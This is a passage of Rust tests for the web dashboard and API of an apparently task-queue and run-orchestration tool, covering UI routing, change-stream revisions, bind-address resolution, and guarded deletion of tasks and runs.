13027 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
13028
13029 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
13033 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
13034 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
13035 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
13036
13037 assert!(APP_JS.contains("sandbox: \"\""));
13039 assert!(!APP_JS.contains("sandbox: \"allow"));
13040 }
13041
13042 #[test]
13043 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
13044 assert!(
13053 APP_JS.contains(
13054 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
13055 ),
13056 "the search-clearing branch must run before state.queueFocus is cleared, or the \
13057 recursive renderQueue() call has nothing left to jump to"
13058 );
13059 assert!(
13060 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
13061 "state.queueFocus must be cleared only once the jump has landed, so a card that \
13062 arrives later still gets it"
13063 );
13064 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
13065 assert!(APP_JS.contains("is not in the current Backlog."));
13066 assert!(APP_JS.contains("li.card[data-task-id=\""));
13067 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
13068 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
13069 assert!(APP_CSS.contains(".card-permalink"));
13070 assert!(APP_CSS.contains(".queue-focus-status"));
13071 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
13072 }
13073
13074 #[test]
13075 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
13076 assert!(
13084 APP_JS.contains(
13085 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
13086 ),
13087 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
13088 );
13089 }
13090
13091 #[test]
13092 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
13093 assert!(
13094 APP_JS.contains("round.verified_head !== round.head"),
13095 "a round that verified an earlier commit must be visibly distinct from one that \
13096 verified the head reviewers are looking at now"
13097 );
13098 assert!(
13099 APP_JS.contains("round.verified_at"),
13100 "when a check ran must be on the wire, not just which commit"
13101 );
13102 assert!(
13103 APP_JS.contains("resource_blocked"),
13104 "a command magi never got to run (shared build cache contention) must not render \
13105 the same as a command that ran and failed"
13106 );
13107 }
13108
13109 #[test]
13110 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
13111 assert!(
13119 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
13120 "every KPI tile built through statusTile() must route its click through \
13121 openRunsFiltered, the single place that sets the Runs filter"
13122 );
13123 for (label, status) in [
13124 ("Merged", "merged"),
13125 ("Ready", "ready"),
13126 ("Blocked", "blocked"),
13127 ("Stalled", "stalled"),
13128 ] {
13129 let call = format!("statusTile(\"{label}\", t.{status}, ");
13130 assert!(
13131 APP_JS.contains(&call),
13132 "expected the {label} KPI tile built via {call}..."
13133 );
13134 assert!(
13135 APP_JS.contains(&format!("status === \"{status}\"")),
13136 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
13137 compare a run against, not one invented only for the stats tile"
13138 );
13139 }
13140 assert!(
13141 APP_JS.contains("function openRunsFiltered(status)"),
13142 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
13143 );
13144 assert!(
13145 APP_JS.contains(
13146 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
13147 ),
13148 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
13149 );
13150 assert!(
13158 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
13159 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
13160 hashchange event that may never fire"
13161 );
13162 }
13163
13164 #[test]
13165 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
13166 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
13172 assert!(
13173 APP_JS.contains(
13174 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
13175 ),
13176 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
13177 guard for an incompatible tree section"
13178 );
13179 }
13180
13181 #[test]
13182 fn every_stats_queue_tile_names_a_real_queue_section() {
13183 assert!(
13189 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
13190 "every queue tile built through sectionTile() must route its click through \
13191 openQueueSectionFocus"
13192 );
13193 for key in ["upnext", "running", "done", "held", "blocked"] {
13194 assert!(
13195 APP_JS.contains(&format!("{{ key: \"{key}\",")),
13196 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
13197 );
13198 }
13199 for line in [
13203 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
13204 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
13205 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
13206 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
13207 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
13208 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
13209 ] {
13210 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
13211 }
13212 }
13213
13214 #[test]
13215 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
13216 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
13223 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
13224 assert!(APP_JS.contains("function revealQueueSection(details)"));
13225 assert!(
13226 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
13227 "renderQueue() must consume both focus channels on every pass"
13228 );
13229 assert!(
13230 APP_JS.contains(
13231 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
13232 ),
13233 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
13234 the recursive renderQueue() call has nothing left to reveal"
13235 );
13236 assert!(
13237 APP_JS.contains(
13238 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
13239 ),
13240 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
13241 );
13242 assert!(
13250 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
13251 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
13252 hashchange event that may never fire"
13253 );
13254 }
13255
13256 #[tokio::test]
13257 async fn the_change_stream_announces_the_current_revisions_on_connect() {
13258 let f = Fixture::start().await;
13259
13260 let mut socket = tokio::net::TcpStream::connect(f.addr)
13261 .await
13262 .expect("connect");
13263 socket
13264 .write_all(
13265 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
13266 )
13267 .await
13268 .expect("write request");
13269
13270 let mut seen = String::new();
13273 let mut buf = [0u8; 1024];
13274 while !seen.contains("event: change") {
13275 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
13276 .await
13277 .expect("the stream must speak within five seconds")
13278 .expect("read");
13279 assert!(read > 0, "the server closed the change stream: {seen}");
13280 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
13281 }
13282
13283 assert!(
13284 seen.to_lowercase()
13285 .contains("content-type: text/event-stream"),
13286 "the browser only reconnects automatically for a real SSE stream: {seen}"
13287 );
13288 let data = seen
13289 .lines()
13290 .find_map(|l| l.strip_prefix("data:"))
13291 .expect("a data line");
13292 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
13293 assert!(
13294 payload["queue_rev"].is_u64()
13295 && payload["runs_rev"].is_u64()
13296 && payload["questions_rev"].is_u64()
13297 && payload["talks_rev"].is_u64()
13298 && payload["notifications_rev"].is_u64()
13299 && payload["loop_rev"].is_u64(),
13300 "the client needs one revision per store to know what to refetch, \
13301 and `talks_rev` is the only notification a standing talk gets - a \
13302 phone whose radio slept through a turn learns about it here, as \
13303 does one whose operator started the loop from another device: \
13304 {payload}"
13305 );
13306
13307 let health = f.get("/api/health").await.json();
13314 for key in [
13315 "queue_rev",
13316 "runs_rev",
13317 "questions_rev",
13318 "talks_rev",
13319 "notifications_rev",
13320 "loop_rev",
13321 ] {
13322 assert!(
13323 health[key].is_u64(),
13324 "health is the change stream's fallback and is missing `{key}`: {health}"
13325 );
13326 }
13327 }
13328
13329 #[tokio::test]
13330 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13331 let f = Fixture::start().await;
13332 let before = f.get("/api/health").await.json()["talks_rev"]
13333 .as_u64()
13334 .expect("talks_rev");
13335
13336 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13337 std::thread::sleep(Duration::from_millis(10));
13338 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13339 on_disk.turns.push(crate::talk::Turn {
13340 breaks: Some(Vec::new()),
13341 who: crate::talk::Who::Operator,
13342 body: "a new turn".to_owned(),
13343 at: Timestamp::now(),
13344 attachments: Vec::new(),
13345 usage: None,
13346 });
13347 f.talks().put(&mut on_disk).expect("record a turn");
13348
13349 let after = f.get("/api/health").await.json()["talks_rev"]
13350 .as_u64()
13351 .expect("talks_rev");
13352 assert_ne!(
13353 before, after,
13354 "a phone must be able to notice a talk's reply without polling every store"
13355 );
13356 }
13357
13358 #[test]
13359 fn bind_reads_back_from_the_spelling_the_cli_prints() {
13360 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13364 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13365 }
13366 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13367 assert!("everywhere".parse::<Bind>().is_err());
13368 }
13369
13370 #[test]
13371 fn an_explicit_bind_address_is_taken_verbatim() {
13372 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13373
13374 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13375
13376 assert_eq!(addr, asked);
13377 assert!(
13378 warning.is_none(),
13379 "an operator who named an address gets no lecture"
13380 );
13381 }
13382
13383 #[test]
13384 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13385 let (addr, warning) = resolve_bind(&Bind::Auto);
13386
13387 match addr {
13394 IpAddr::V4(ip) if is_tailnet(&ip) => {
13395 assert!(warning.is_none(), "a tailnet address needs no warning");
13396 }
13397 other => {
13398 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13399 let warning = warning.expect("a fallback has to explain itself");
13400 assert!(
13401 warning.contains("127.0.0.1") && warning.contains("local-only"),
13402 "the warning says what happened and what it costs: {warning}"
13403 );
13404 }
13405 }
13406 }
13407
13408 #[test]
13409 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13410 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13414 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13415 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13416 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13417 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13418 }
13419
13420 #[test]
13421 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13422 let ids = vec![
13423 "20260902-140501-aaaa".to_owned(),
13424 "20260902-140502-aabb".to_owned(),
13425 ];
13426
13427 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13428 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13429 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13430
13431 assert_eq!(missing.status, StatusCode::NOT_FOUND);
13432 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13433 assert_eq!(short, "20260902-140502-aabb");
13434 }
13435 #[tokio::test]
13436 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13437 let fx = Fixture::start().await;
13443 let id = panel(
13444 &fx,
13445 "<img src=\"shot.png\">",
13446 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13447 );
13448
13449 let doc = fx
13451 .get(&format!("/api/questions/{id}/panel/index.html"))
13452 .await;
13453 assert_eq!(doc.status, 200, "{}", doc.body);
13454 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13455
13456 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13457 assert_eq!(sibling.status, 200, "{}", sibling.body);
13458 assert_eq!(sibling.header("content-type"), Some("image/png"));
13459 assert_eq!(
13460 sibling.header("content-security-policy"),
13461 Some(PANEL_CSP),
13462 "the sibling route must carry the same policy as the asset route"
13463 );
13464
13465 assert_eq!(
13468 fx.head(&format!("/api/questions/{id}/panel")).await.status,
13469 200
13470 );
13471 }
13472
13473 #[test]
13474 fn delta_stamps_cover_add_update_remove_and_noop() {
13475 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13476 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13477 let delta = diff_stamps(&before, &after, 42);
13478 assert_eq!(delta.base, 42);
13479 assert_eq!(delta.changed, ["b", "c"]);
13480 assert_eq!(delta.removed, ["a"]);
13481 let same = diff_stamps(&after, &after, 43);
13482 assert!(same.changed.is_empty() && same.removed.is_empty());
13483 assert_ne!(stamps_revision(&before), stamps_revision(&after));
13484 let nanos: Stamps = [("b".into(), (2, 20))].into();
13485 let same_ms: Stamps = [("b".into(), (3, 20))].into();
13486 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13487 assert_eq!(stamps_revision(&Stamps::new()), 0);
13488 }
13489
13490 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13491 std::fs::create_dir_all(home.join("runs")).unwrap();
13492 Arc::new(Ui::new(
13493 Queue::at(home.join("queue")),
13494 Questions::at(home.join("questions")),
13495 Talks::at(home.join("talks")),
13496 home.join("runs"),
13497 home.to_owned(),
13498 PathBuf::from("/repo/magi"),
13499 ))
13500 }
13501
13502 #[tokio::test]
13503 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13504 let home = TempDir::new().unwrap();
13505 let ui = delta_test_ui(home.path());
13506 let mut task = Task::new(
13507 "stream task".into(),
13508 "text".into(),
13509 PathBuf::from("/repo"),
13510 Source::Human,
13511 );
13512 ui.queue.put(&mut task).unwrap();
13513 let response = events(State(ui.clone())).await.into_response();
13514 let mut stream = response.into_body().into_data_stream();
13515 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13516 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13517 .await
13518 .unwrap()
13519 .unwrap()
13520 .unwrap();
13521 let text = String::from_utf8(chunk.to_vec()).unwrap();
13522 let data = text
13523 .lines()
13524 .find_map(|line| {
13525 line.strip_prefix("data: ")
13526 .or_else(|| line.strip_prefix("data:"))
13527 })
13528 .unwrap();
13529 serde_json::from_str(data).unwrap()
13530 }
13531 let initial = change(&mut stream).await;
13532 assert!(initial.get("queue_delta").is_none());
13533 task.instruction.push_str(" changed");
13534 ui.queue.put(&mut task).unwrap();
13535 let updated = change(&mut stream).await;
13536 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13537 assert_eq!(
13538 updated["queue_delta"]["changed"],
13539 serde_json::json!([task.id])
13540 );
13541 assert_eq!(
13542 updated["queue_rev"].as_u64(),
13543 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13544 );
13545 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13546 let removed = change(&mut stream).await;
13547 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13548 assert_eq!(
13549 removed["queue_delta"]["removed"],
13550 serde_json::json!([task.id])
13551 );
13552 }
13553
13554 #[tokio::test]
13555 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13556 let home = TempDir::new().unwrap();
13557 let ui = delta_test_ui(home.path());
13558 let queue = ui.queue.clone();
13559 let query = |ids: Option<&str>| {
13560 Query(ListQuery {
13561 limit: Some(2),
13562 ids: ids.map(str::to_owned),
13563 })
13564 };
13565 let mut root = Task::new(
13566 "root".into(),
13567 "instruction".into(),
13568 PathBuf::from("/repo"),
13569 Source::Human,
13570 );
13571 queue.put(&mut root).unwrap();
13572 let mut blocked = Task::new(
13573 "blocked".into(),
13574 "instruction".into(),
13575 PathBuf::from("/repo"),
13576 Source::Human,
13577 );
13578 blocked.block(vec![root.id.clone()], None);
13579 queue.put(&mut blocked).unwrap();
13580 let whole =
13581 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13582 .unwrap();
13583 let subset = serde_json::to_value(
13584 queue_list(State(ui.clone()), query(Some(&root.id)))
13585 .await
13586 .unwrap()
13587 .0,
13588 )
13589 .unwrap();
13590 assert_eq!(whole, subset, "requested root plus its blocked dependent");
13591 let blockers = serde_json::to_value(
13592 queue_list(State(ui.clone()), query(Some("")))
13593 .await
13594 .unwrap()
13595 .0,
13596 )
13597 .unwrap();
13598 assert_eq!(blockers.as_array().unwrap().len(), 1);
13599 assert_eq!(blockers[0]["id"], blocked.id);
13600 assert_eq!(
13601 blockers[0]["waits_on"],
13602 whole
13603 .as_array()
13604 .unwrap()
13605 .iter()
13606 .find(|row| row["id"] == blocked.id)
13607 .unwrap()["waits_on"]
13608 );
13609
13610 for id in [
13611 "20260902-140501-aaaa",
13612 "20260902-140502-bbbb",
13613 "20260902-140503-cccc",
13614 ] {
13615 write_run(&ui.runs, id, RunStatus::Merged);
13616 }
13617 let old = serde_json::to_value(
13618 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
13619 .await
13620 .unwrap()
13621 .0,
13622 )
13623 .unwrap();
13624 assert!(
13625 old.as_array().unwrap().is_empty(),
13626 "older updates must not enter the window"
13627 );
13628 let newest = serde_json::to_value(
13629 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
13630 .await
13631 .unwrap()
13632 .0,
13633 )
13634 .unwrap();
13635 assert_eq!(newest.as_array().unwrap().len(), 1);
13636 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
13637
13638 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
13639 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
13640 let talks = serde_json::to_value(
13641 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
13642 .await
13643 .unwrap()
13644 .0,
13645 )
13646 .unwrap();
13647 assert_eq!(talks.as_array().unwrap().len(), 1);
13648 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
13649 assert_eq!(
13650 serde_json::to_value(
13651 talks_list(State(ui.clone()), query(Some("")))
13652 .await
13653 .unwrap()
13654 .0
13655 )
13656 .unwrap(),
13657 serde_json::json!([])
13658 );
13659 }
13660
13661 #[tokio::test]
13662 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
13663 async fn delta_payload_benchmark() {
13664 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
13665 let ui = delta_test_ui(&home);
13666 let query = |ids: Option<String>| {
13667 Query(ListQuery {
13668 limit: Some(50),
13669 ids,
13670 })
13671 };
13672 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13673 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13674 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13675 let queue_id = queue
13676 .iter()
13677 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13678 .unwrap_or(&queue[0])
13679 .task
13680 .id
13681 .clone();
13682 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13683 .await
13684 .unwrap()
13685 .0;
13686 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13687 .await
13688 .unwrap()
13689 .0;
13690 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13691 .await
13692 .unwrap()
13693 .0;
13694 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13695 eprintln!(
13696 "DELTA_PAYLOAD {}",
13697 serde_json::json!({
13698 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13699 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13700 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13701 "counts": [queue.len(), runs.len(), talks.len()],
13702 "blocked": queue_delta.len() - 1,
13703 })
13704 );
13705 }
13706
13707 #[test]
13708 fn runs_revision_moves_when_deleting_an_older_run() {
13709 let temp = TempDir::new().expect("tempdir");
13710 let runs = temp.path().join("runs");
13711 std::fs::create_dir_all(&runs).expect("create runs dir");
13712
13713 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13714
13715 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13716 std::thread::sleep(Duration::from_millis(10));
13717 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13718
13719 let rev_before = runs_revision(&runs);
13720 assert!(rev_before > 0);
13721
13722 let old_dir = runs.join("20260901-100000-old1");
13723 std::fs::remove_dir_all(&old_dir).expect("remove old run");
13724
13725 let rev_after = runs_revision(&runs);
13726 assert_ne!(
13727 rev_before, rev_after,
13728 "deleting an older run must change the revision so other clients see the deletion"
13729 );
13730 }
13731
13732 fn write_state(runs: &FsPath, state: &RunState) {
13737 let dir = runs.join(&state.id);
13738 std::fs::create_dir_all(&dir).expect("run dir");
13739 std::fs::write(
13740 dir.join("run.json"),
13741 serde_json::to_string_pretty(state).expect("serialize run"),
13742 )
13743 .expect("write run.json");
13744 }
13745
13746 #[test]
13751 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13752 let temp = TempDir::new().expect("tempdir");
13753 let runs = temp.path().join("runs");
13754 std::fs::create_dir_all(&runs).expect("create runs dir");
13755 let mut state = RunState::new(
13756 PathBuf::from("/repo/magi"),
13757 "main".to_owned(),
13758 "0123456789abcdef".to_owned(),
13759 "task".to_owned(),
13760 Config::default(),
13761 );
13762 state.id = "20260902-100000-c0de".to_owned();
13763 write_state(&runs, &state);
13764
13765 let rev_idle = runs_revision(&runs);
13766 std::thread::sleep(Duration::from_millis(10));
13767 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13768 write_state(&runs, &state);
13769 let rev_started = runs_revision(&runs);
13770 assert_ne!(
13771 rev_idle, rev_started,
13772 "a seat starting must move the revision"
13773 );
13774
13775 std::thread::sleep(Duration::from_millis(10));
13776 state.seat_finished("judge-1");
13777 write_state(&runs, &state);
13778 let rev_finished = runs_revision(&runs);
13779 assert_ne!(
13780 rev_started, rev_finished,
13781 "and clearing it again must move the revision a second time"
13782 );
13783 }
13784
13785 #[tokio::test]
13786 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13787 let fx = Fixture::start().await;
13792 let q = fx.queue();
13793
13794 let mut t = Task::new(
13795 "Task".to_owned(),
13796 "Instruction".to_owned(),
13797 PathBuf::from("/repo"),
13798 Source::Human,
13799 );
13800 t.block(
13801 vec!["20260101-000000-dead".to_owned()],
13802 Some("waiting on Task 1".to_owned()),
13803 );
13804 t.answers.push(crate::queue::AnsweredQuestion {
13805 question: "Which backend?".to_owned(),
13806 answer: "SQLite".to_owned(),
13807 });
13808 q.put(&mut t).expect("put t");
13809
13810 let res = fx.get("/api/queue").await;
13811 assert_eq!(res.status, 200);
13812 let list = res.json();
13813 let view = list
13814 .as_array()
13815 .expect("array")
13816 .iter()
13817 .find(|v| v["id"] == t.id)
13818 .expect("task in list");
13819 assert_eq!(view["status_str"], "blocked");
13820 assert_eq!(
13821 view["blocked_by"],
13822 serde_json::json!(["20260101-000000-dead"])
13823 );
13824 assert_eq!(view["block_reason"], "waiting on Task 1");
13825 assert_eq!(view["answers"][0]["question"], "Which backend?");
13826 assert_eq!(view["answers"][0]["answer"], "SQLite");
13827
13828 let res = fx
13832 .post(&format!("/api/queue/{}/hold", t.short()), None)
13833 .await;
13834 assert_eq!(res.status, 200);
13835 let held = res.json();
13836 assert_eq!(held["status_str"], "held");
13837 assert_eq!(held["blocked_by"], serde_json::json!([]));
13838 assert!(held["block_reason"].is_null());
13839 assert_eq!(held["answers"][0]["answer"], "SQLite");
13840 }
13841
13842 #[tokio::test]
13843 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13844 let fx = Fixture::start().await;
13845 let q = fx.queue();
13846 let mk = |title: &str| {
13847 Task::new(
13848 title.to_owned(),
13849 "Instruction".to_owned(),
13850 PathBuf::from("/repo"),
13851 Source::Human,
13852 )
13853 };
13854 let mut root = mk("root");
13855 root.hold_manual(Some("waiting".to_owned()));
13856 q.put(&mut root).unwrap();
13857 let mut mid = mk("mid");
13858 mid.block(vec![root.id.clone()], None);
13859 q.put(&mut mid).unwrap();
13860 let mut leaf = mk("leaf");
13861 leaf.block(vec![mid.id.clone()], None);
13862 q.put(&mut leaf).unwrap();
13863
13864 let list = fx.get("/api/queue").await.json();
13865 let find = |id: &str| {
13866 list.as_array()
13867 .unwrap()
13868 .iter()
13869 .find(|v| v["id"] == id)
13870 .unwrap()
13871 .clone()
13872 };
13873 let leaf_view = find(&leaf.id);
13874 assert_eq!(
13875 leaf_view["waits_on"],
13876 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13877 );
13878 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13879 assert_eq!(
13880 find(&mid.id)["waits_on"],
13881 serde_json::json!([format!("{} (held)", root.short())])
13882 );
13883 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13884 }
13885
13886 #[tokio::test]
13887 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13888 let fx = Fixture::start().await;
13889 let q = fx.queue();
13890
13891 let mut t1 = Task::new(
13893 "Task 1".to_owned(),
13894 "Instruction 1".to_owned(),
13895 PathBuf::from("/repo"),
13896 Source::Human,
13897 );
13898 let run_id = "20260901-000000-r111";
13899 t1.runs.push(run_id.to_owned());
13900 write_run(&fx.runs(), run_id, RunStatus::Merged);
13901 q.put(&mut t1).expect("put t1");
13902
13903 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13905 assert_eq!(res.status, 204);
13906 assert!(res.body.is_empty(), "204 No Content has no body");
13907 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13908 assert!(
13909 fx.runs().join(run_id).exists(),
13910 "run directory must not be deleted when its task is deleted"
13911 );
13912
13913 let mut t2 = Task::new(
13915 "Task 2".to_owned(),
13916 "Instruction 2".to_owned(),
13917 PathBuf::from("/repo"),
13918 Source::Human,
13919 );
13920 t2.status = TaskStatus::Running;
13921 q.put(&mut t2).expect("put t2");
13922 let mut beat = crate::daemon::Status::new();
13923 beat.current = vec![crate::daemon::Current {
13924 task: t2.id.clone(),
13925 run: "20260901-000000-r222".to_owned(),
13926 }];
13927 beat.updated_at = jiff::Timestamp::now();
13928 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13929 .expect("publish a heartbeat");
13930 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13931 assert_eq!(res.status, 409);
13932 assert!(
13933 res.json()["error"]
13934 .as_str()
13935 .unwrap()
13936 .contains("live daemon")
13937 );
13938 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13939
13940 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13946 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13947 .expect("leave a stale heartbeat");
13948 let mut t3 = Task::new(
13949 "Task 3".to_owned(),
13950 "Instruction 3".to_owned(),
13951 PathBuf::from("/repo"),
13952 Source::Human,
13953 );
13954 t3.status = TaskStatus::Running;
13955 q.put(&mut t3).expect("put t3");
13956 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13957 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13958 assert_eq!(res.status, 204);
13959 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13960 assert!(
13961 q.claim(&t3.id).is_ok(),
13962 "the stale lock went with it, so the id is claimable again"
13963 );
13964
13965 let res = fx.delete("/api/queue/nonexistent").await;
13967 assert_eq!(res.status, 404);
13968 }
13969
13970 #[tokio::test]
13971 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13972 let fx = Fixture::start().await;
13973 let runs = fx.runs();
13974
13975 let run_id = "20260901-000000-fold";
13977 let mut state = RunState::new(
13978 PathBuf::from("/repo"),
13979 "main".to_owned(),
13980 "abc".to_owned(),
13981 "instruction".to_owned(),
13982 Config::default(),
13983 );
13984 state.id = run_id.to_owned();
13985 state.status = RunStatus::Merged;
13986 state.candidates.push(crate::run::Candidate {
13987 index: 0,
13988 label: 'A',
13989 agent: "a".to_owned(),
13990 branch: "b".to_owned(),
13991 worktree: PathBuf::from("/w"),
13992 summary: String::new(),
13993 stat: String::new(),
13994 files: 1,
13995 commits: 1,
13996 empty: false,
13997 failed: None,
13998 verified_noop: None,
13999 duration_ms: 0,
14000 folded: true,
14001 });
14002 let dir = runs.join(run_id);
14003 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
14004 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
14005 .expect("write artifact");
14006 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
14007 .expect("write run.json");
14008
